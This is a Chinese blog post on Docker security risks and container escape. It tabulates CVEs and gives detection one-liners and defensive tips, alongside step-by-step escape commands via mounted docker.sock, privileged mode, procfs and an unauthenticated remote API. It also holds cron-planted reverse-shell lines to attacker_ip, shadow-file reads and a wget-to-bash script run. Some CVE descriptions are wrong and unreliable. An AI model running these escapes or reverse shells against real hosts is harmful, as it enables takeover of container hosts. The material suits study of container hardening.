docker安全

发布于:2025-06-20 ⋅ 阅读:(20) ⋅ 点赞:(0)

Docker基于Linux内核实现,最早是采⽤了 LXC技术,后来Docker⾃⼰研发了 runc 技术。它基于Google Go语⾔实现,采⽤客户端/服务端架构,使⽤API来管理和创建容器。

Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。相较于虚拟机,docker更加轻量化的同时也可以拥有独立的网络能力(虽然这个网卡是假的)

下图是 Docker 官方给出的架构图,里面包括了 Docker 客户端、Docker 容器所在的宿主机和 Docker 镜像仓库三个部分。

其中宿主机包括了 Docker 守护进程、本地容器和本地镜像,Docker 守护进程(dockerd)的作用是侦听 Docker API 请求和管理 Docker 对象。

docker面临的风险

容器镜像存在的风险

容器镜像是容器运行时的基础,一旦镜像本身存在安全问题,将直接影响容器实例的安全性。

1. 不安全的第三方组件

开发者可能在代码中引入存在漏洞的开源库或组件,例如:

  • 使用存在远程代码执行漏洞的 log4j2;
  • 在 Django 镜像中引用存在已知漏洞的依赖包;

即使业务逻辑本身没有问题,也会因组件漏洞造成安全隐患。

2. 不安全的基础镜像

从公共镜像仓库(如 Docker Hub)下载镜像时,可能误用存在漏洞或包含恶意代码的镜像。使用这类镜像构建容器,会在不知情的情况下引入安全风险。

3. 敏感信息泄露

在镜像打包过程中,开发者可能为了方便调试,将数据库密码、云服务密钥等敏感信息硬编码在配置文件或环境变量中。一旦攻击者获取到镜像文件,这些信息将被轻易暴露。

二、活动中的容器风险

容器在实际运行过程中,配置和行为不当可能会暴露出更多攻击面。

1. 不安全的容器服务
  • 将数据库服务如 MySQL 的 3306 端口映射到公网,但密码设置为弱密码;
  • 映射了存在已知漏洞的 Web 应用端口。

攻击者可以直接通过网络进行扫描与利用。

2. 未受限制的资源占用

容器运行于宿主机上,若未合理配置 CPU、内存、磁盘等资源的上限,攻击者可以通过高资源消耗行为导致宿主机系统资源被耗尽,进而影响其他服务。

3. 不安全的容器配置与挂载

容器隔离能力主要依赖于 Linux 命名空间(Namespace)与控制组(cgroups),但以下配置可能导致隔离失效:

配置项

风险描述

--privileged

容器拥有与宿主机 root 等价的权限,完全打破隔离

--net=host

容器与宿主机共用网络命名空间,易被监听或干扰

--pid=host

容器可查看宿主机进程,存在越权访问风险

--volume /:/host

容器内可访问宿主机全部文件,容易造成系统破坏

三、容器管理程序接口的风险

容器引擎(如 Docker)通过守护进程提供 API 接口,若未正确限制访问权限,将成为攻击的突破点。

1. UNIX Socket 相关风险

Docker 守护进程默认通过 /var/run/docker.sock 提供本地通信接口,运行权限为 root:

  • 普通用户提权:若普通用户被加入 Docker 用户组,将有权限操作容器,进而通过特权容器进行提权;
  • 容器内挂载 Socket:将 docker.sock 挂载至容器内部实现容器自管理,若容器被攻破,攻击者可借此控制宿主机容器环境,甚至实现逃逸。
2. TCP Socket 暴露风险

若启用 Docker 的 TCP 监听端口(如 2375),但未设置 TLS 加密与认证机制,攻击者可通过网络远程控制 Docker 引擎,实现容器部署、命令执行等操作。

四、其他风险

1. 容器网络风险

容器之间默认在同一虚拟网络中彼此可达,若某个容器被攻破,攻击者可利用横向扫描等方式尝试入侵其他容器。

2. 宿主机内核漏洞

容器与宿主机共享内核,一旦宿主机内核存在漏洞(如“脏牛”漏洞 CVE-2016-5195),攻击者可能利用容器发起本地提权,实现容器逃逸。

3. 容器引擎自身漏洞

容器引擎如 Docker 也可能存在可被利用的安全漏洞。例如:

  • CVE-2019-5736:通过 runc 覆盖宿主机执行程序,实现容器逃逸;
  • CVE-2019-14271:不安全的模块加载逻辑,允许用户向宿主机注入任意代码。

Docker 逃逸漏洞汇总

在容器安全领域,Docker 逃逸始终是最关键的风险之一。攻击者一旦成功实现容器逃逸,便可突破容器隔离,进而控制宿主机。本节将从漏洞来源角度对已有的 Docker 逃逸漏洞进行分类汇总,后面可能会补充各漏洞的复现与防御实践。

一、Docker 自身漏洞导致的逃逸

这些漏洞多数源自 Docker 引擎或容器运行时(如 runc)存在安全缺陷,攻击者可通过特定方式突破隔离限制。

CVE编号

简要描述

CVE-2017-1002101

特权容器未正确限制,允许访问宿主资源

CVE-2018-1002100

Kubernetes 中特权容器与 API Server 间未授权访问

CVE-2018-15664

文件系统符号链接绕过(symlink time-of-check/time-of-use)漏洞

CVE-2019-14271

runc 加载用户控制的恶意动态链接库,导致宿主被控制

CVE-2019-1002101

API 请求未验证身份,允许远程创建容器并访问主机

CVE-2019-11246

kubectl cp 命令存在目录穿越漏洞

CVE-2019-11249

kubelet 未充分验证容器日志请求,信息泄露

CVE-2019-11251

Kubelet API 权限绕过,可注入恶意环境变量

CVE-2019-16884

Pod 目录被软链接劫持,绕过写入限制

CVE-2019-5736

runc 覆盖宿主二进制文件,实现容器逃逸(影响极广)

CVE-2020-15257

容器名称未校验导致命令注入或路径混淆

CVE-2020-27151

Docker 中不安全的 mount 命令可能被滥用

KATA-ESCAPE-2020

Kata 容器逃逸漏洞,可直接访问宿主文件系统

CVE-2021-25741

Kubernetes 中 HostPath 类型未加限制导致越权挂载

CVE-2021-30465

Docker Compose 安装脚本目录遍历漏洞

CVE-2022-0492

Linux 安全模块绕过,可在容器内加载内核模块逃逸

二、内核漏洞导致的逃逸

由于容器与宿主机共用 Linux 内核,宿主机内核漏洞也可能被容器内的攻击者利用实现提权或逃逸。

CVE编号

简要描述

CVE-2016-5195(DirtyCow)

写时复制缺陷导致本地提权,影响范围广泛

CVE-2017-1000112

netpoll 中 use-after-free,允许任意代码执行

CVE-2020-14386

缓冲区溢出,存在控制数据路径导致逃逸可能性

CVE-2021-22555

内核 netfilter 漏洞,可在容器内直接获取宿主权限

CVE-2022-0847(DirtyPipe)

通过管道实现任意文件覆盖,绕过权限校验

三、不安全配置导致的逃逸风险

某些容器配置选项本身就存在设计隐患,在攻击者掌控容器后可被用来实现逃逸或操作宿主。

配置项

风险描述

--privileged容器

拥有宿主全部权限,等同于 root shell

挂载 docker.sock

可直接控制宿主机 Docker 引擎,实现反控

挂载 /etc目录

可读取宿主配置信息甚至篡改服务启动项

挂载 /proc目录

可直接读取宿主机内核状态信息,便于利用

挂载 /var/log

可访问宿主日志,可能泄露敏感信息

添加 cap_dac_read_search

可越权读取任意文件,便于信息收集与提权

添加 cap_sys_admin

被称为“Linux root 权限中的 root”,存在大量利用路径

四、如何配置实验环境

docker漏洞的复现非常复杂,下载靶场和搭环境耗时很长。https://github.com/Metarget/metarget 这个项目可以帮我们快速搭建docker漏洞所需的环境

五、工具

CDK是⼀款为容器环境定制的渗透测试⼯具,在已攻陷的容器内部提供零依赖的常⽤命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利⽤⽅式,插件化管理

https://github.com/cdk-team/CDK/wiki/CDK-Home-CN

如何检测该容器有什么逃逸漏洞

判断是否为容器环境

首先对于攻击者而言,需要先判断当前环境是不是容器环境,可以直接使用下面的命令去判断

cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

1

如果返回 Is Docker,说明当前是 Docker 容器环境,反之亦然

容器逃逸介绍

对于容器逃逸主要有以下三种方法:

  1. 不安全的配置
  2. 相关程序漏洞
  3. 内核漏洞

不安全的配置检测(容器内检测)

1. 检查是否为特权模式(--privileged
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"
2. 检查是否挂载了 Docker Socket
ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."
3. 检查是否挂载了宿主机的 procfs
find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."
4. 检查是否挂载了宿主机根目录 /
find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Root directory is mounted." || echo "Root directory is not mounted."
5. 检查是否开启了 Docker Remote API(默认 2375 端口,未授权访问风险)
IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}'` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed."

内核版本逃逸漏洞检测(基于内核版本判断是否可能存在漏洞)

1. DirtyCow(CVE-2016-5195)
uname -r
# 如果内核版本在 2.6.22 ~ 4.8.3 之间,则可能存在该漏洞
2. CVE-2020-14386
uname -r
# 如果内核版本在 4.6 ~ 5.9 之间,则可能存在该漏洞
3. DirtyPipe(CVE-2022-0847)
uname -r
# 如果内核版本在以下区间中任一段,则可能存在该漏洞:
# 5.8 <= 版本 < 5.10.102
# 5.15.0 <= 版本 < 5.15.25
# 5.16.0 <= 版本 < 5.16.11

一键检测脚本推荐

项目地址:
https://github.com/teamssix/container-escape-check

在线运行(前提:容器内有 wget
wget https://raw.githubusercontent.com/teamssix/container-escape-check/main/container-escape-check.sh -O - | bash
离线运行步骤

大多容器可能没有 wget 命令,因此可以将脚本先克隆到本地,然后上传到容器再执行

  1. 克隆脚本到本地
git clone https://github.com/teamssix/container-escape-check.git
  1. 上传脚本到容器内
  2. 给脚本加执行权限并运行
chmod +x container-escape-check.sh
./container-escape-check.sh

挂载宿主机 procfs 逃逸

什么是「挂载宿主机 procfs」

在 Linux 中,/proc 是一个伪文件系统(procfs),它映射的是当前系统内核和进程的实时信息,例如:

  • /proc/kallsyms:内核符号表
  • /proc/self/mem:当前进程的内存映射
  • /proc/sysrq-trigger:允许触发内核热键(比如重启)

如果一个 Docker 容器挂载了宿主机的 /proc(也叫 procfs)目录,比如下面这样:

docker run -v /proc:/host_proc -it ubuntu /bin/bash

那么容器内的用户就可以通过 /host_proc 目录,访问到宿主机的内核状态和敏感接口,这可能会造成非常严重的逃逸漏洞,尤其是在该容器内默认启用root权限,且没有开启User Namespace时

从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行

如何检测是否挂载了宿主机的 procfs?

find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && \
echo "Procfs is mounted." || echo "Procfs is not mounted."

原理是:

  • 宿主机 /proc/sys/kernel/core_pattern 存在;
  • 容器原生路径也存在一个;
  • 总数为 2,说明你可能访问到了宿主机的 /proc

更直接的检测:

mount | grep "on /proc"
# 或
ls /host_proc/sysrq-trigger

如何防御?

  1. 禁止挂载宿主机 /proc
    • 宿主机 Dockerfile / docker-compose 中不要挂载 /proc-v /proc:/host_proc 类似内容。
    • 尽量使用 tmpfs 替代方案。
  1. 容器使用非特权模式(默认)
    • 不加 --privileged
    • 限制 cap_sys_admincap_dac_read_search 等危险 Capability。
  1. 使用 AppArmor / seccomp / SELinux 等限制访问
    • 禁止写入 /proc/sysrq-trigger 等高危接口。
    • 可自定义 seccomp profile 限制系统调用。

挂载 Docker Socket 逃逸

Docker 守护进程通过 Unix Socket(通常是 /var/run/docker.sock)提供 API 接口来管理容器。如果你在一个容器里挂载了这个 socket 文件,你就可以像宿主机一样执行 Docker 命令了

比如在容器里运行:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

这就能直接访问并控制宿主机的文件系统

这就叫“挂载 Docker Socket 逃逸”,利用的是对 docker.sock 的完全控制能力

  • docker.sock 就像宿主机 Docker 守护进程的「遥控器」
  • 如果容器里挂载了它,那就等于你在容器里拥有了宿主机的「Docker 管理员」权限
  • 利用这个权限,你可以在宿主机上启动特权容器,实现提权、读取文件、写入计划任务等等
检测方法(从容器内部)
ls /var/run/docker.sock && echo "Docker socket mounted!" || echo "Not mounted"

或者尝试运行:

docker ps

能跑说明你有宿主机 Docker 权限

创建一个特权容器逃逸
docker run -it --privileged -v /:/host alpine chroot /host sh

注意这个命令是在容器中运行的,它会在宿主机上运行一个特权容器,然后挂载宿主机根目录,你就可以:

# 在新容器里运行的命令
cat /etc/shadow         # 查看宿主机敏感文件
echo "evil" > /root/hacked.txt  # 写入宿主机文件

Privileged 特权模式容器逃逸

什么是 Privileged 模式容器?

平常的容器会被限制很多内核能力(capabilities),但只要加了 --privileged 参数,就几乎等同于 root 在宿主机操作了:

docker run -it --privileged ubuntu bash
  • 容器获得了所有 capabilities
  • 可以加载内核模块访问设备文件
  • 能访问很多宿主机资源接口(如 /dev/sys

所以这个模式下只要用点技巧,很容易从容器逃逸到宿主机

特权模式逃逸的常见方式

方法一:挂载宿主机磁盘直接 chroot(最简单)
mount -t proc proc /mnt/proc
mount --bind / /mnt
chroot /mnt bash

你现在就是宿主机的 root 了

方法二:写计划任务 / SSH 密钥反弹 shell

你可以:

echo 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1' > /etc/cron.d/reverse

等计划任务执行就直接反弹了

方法三:加载宿主机模块、访问设备节点
modprobe fuse     # 加载 fuse 模块
mknod /dev/sda b 8 0  # 访问宿主磁盘

如果宿主机未限制 cgroup 和设备访问,就可以直接读写磁盘、拷贝 /etc/shadow 等文件了

Docker 远程 API 未授权访问逃逸

什么是 Docker Remote API 未授权访问?

Docker 守护进程默认监听 Unix socket (/var/run/docker.sock),但有些人配置失误或用在测试环境时,把它改成了监听 TCP 端口(比如 2375):

dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

如果没有加 TLS 认证任何人都能访问它的 API

黑客拿到这个 API 权限之后,就相当于拿到了整台宿主机的 root 权限,可以:

  1. 查看/操作容器
  2. 挂载宿主机目录
  3. 运行特权容器逃逸
  4. 直接读取宿主机文件或执行命令

如何利用

1. 确认远程开放了 Docker API
curl http://<目标IP>:2375/containers/json

如果返回一堆 JSON 容器信息,说明没做认证(漏洞存在)!

2. 直接开特权容器
docker -H tcp://<目标IP>:2375 run -it --privileged \
  -v /:/mnt alpine chroot /mnt sh

你现在直接开了一台能 chroot 宿主机的容器,相当于控制了宿主机

3. 查看敏感信息 or 反弹 shell
cat /etc/shadow
echo "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" >> /etc/crontab

检测命令(容器 or 攻击者主机)

用 Bash 快速检测:

IP=$(hostname -I | awk '{print $1}' | sed 's/\.[0-9]*$/.1/')  # 获取网关地址
timeout 3 bash -c "echo >/dev/tcp/$IP/2375" && echo "Docker Remote API Is Enabled." || echo "Closed"

也可以用 nmap

nmap -p 2375 --open -Pn <目标IP>

-------------------------------------------------

后面有时间了再逐一复现漏洞(其实现在也有时间,就是懒)


网站公告

今日签到

点亮在社区的每一天
去签到